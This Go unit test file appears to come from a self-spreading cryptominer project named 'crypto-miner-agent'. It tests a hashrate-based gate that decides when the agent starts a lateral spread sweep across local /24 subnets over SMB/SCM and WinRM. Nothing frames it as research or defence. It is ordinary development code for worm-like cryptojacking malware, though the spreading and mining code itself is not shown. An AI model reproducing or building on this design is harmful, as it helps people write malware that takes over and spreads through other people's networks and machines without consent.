package deploy import ( "testing" "time" "crypto-miner-agent/config" ) func setSpreadGateClockForTest(t *testing.T, fn func() time.Time) { t.Helper() setSpreadGateClock(fn) t.Cleanup(func() { setSpreadGateClock(time.Now) }) } func TestAllowAutospreadDisabledWhenGateUnset(t *testing.T) { resetSpreadGateForTest() cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: true}} ok, reason := AllowAutospread(cfg) if !ok || reason != "" { t.Fatalf("ok=%v reason=%q", ok, reason) } } func TestAllowAutospreadBlocksChainExhausted(t *testing.T) { resetSpreadGateForTest() cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ HashrateGateSpreadMin: 5, HashrateGateHPS: 100, }} SetSpreadMiningTelemetry(500, true) ok, reason := AllowAutospread(cfg) if ok || reason != "mining chain exhausted" { t.Fatalf("ok=%v reason=%q", ok, reason) } } func TestAllowAutospreadRequiresStableHashrate(t *testing.T) { resetSpreadGateForTest() base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC) setSpreadGateClockForTest(t, func() time.Time { return base }) cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ HashrateGateSpreadMin: 10, HashrateGateHPS: 100, }} SetSpreadMiningTelemetry(150, false) ok, reason := AllowAutospread(cfg) if ok || reason != "hashrate stability window not met" { t.Fatalf("first tick ok=%v reason=%q", ok, reason) } setSpreadGateClock(func() time.Time { return base.Add(11 * time.Minute) }) ok, reason = AllowAutospread(cfg) if !ok || reason != "" { t.Fatalf("after window ok=%v reason=%q dur=%v", ok, reason, StableMiningDurationForTest(cfg)) } } func TestAllowAutospreadResetsOnLowHashrate(t *testing.T) { resetSpreadGateForTest() base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC) setSpreadGateClockForTest(t, func() time.Time { return base }) cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ HashrateGateSpreadMin: 5, HashrateGateHPS: 200, }} SetSpreadMiningTelemetry(250, false) setSpreadGateClock(func() time.Time { return base }) if ok, _ := AllowAutospread(cfg); ok { t.Fatal("expected window not met on first tick") } setSpreadGateClock(func() time.Time { return base.Add(6 * time.Minute) }) if ok, reason := AllowAutospread(cfg); !ok { t.Fatalf("expected stable after 6m, reason=%q", reason) } SetSpreadMiningTelemetry(50, false) ok, reason := AllowAutospread(cfg) if ok || reason != "hashrate below gate threshold" { t.Fatalf("ok=%v reason=%q", ok, reason) } } func TestRunSpreadOnceBlockedByHashrateGate(t *testing.T) { resetSpreadGateForTest() cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ AutoSpread: true, HashrateGateSpreadMin: 10, HashrateGateHPS: 100, }} SetSpreadMiningTelemetry(0, false) msg := RunSpreadOnce(cfg) if msg == "" || msg == "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)" { t.Fatalf("expected gate message, got %q", msg) } }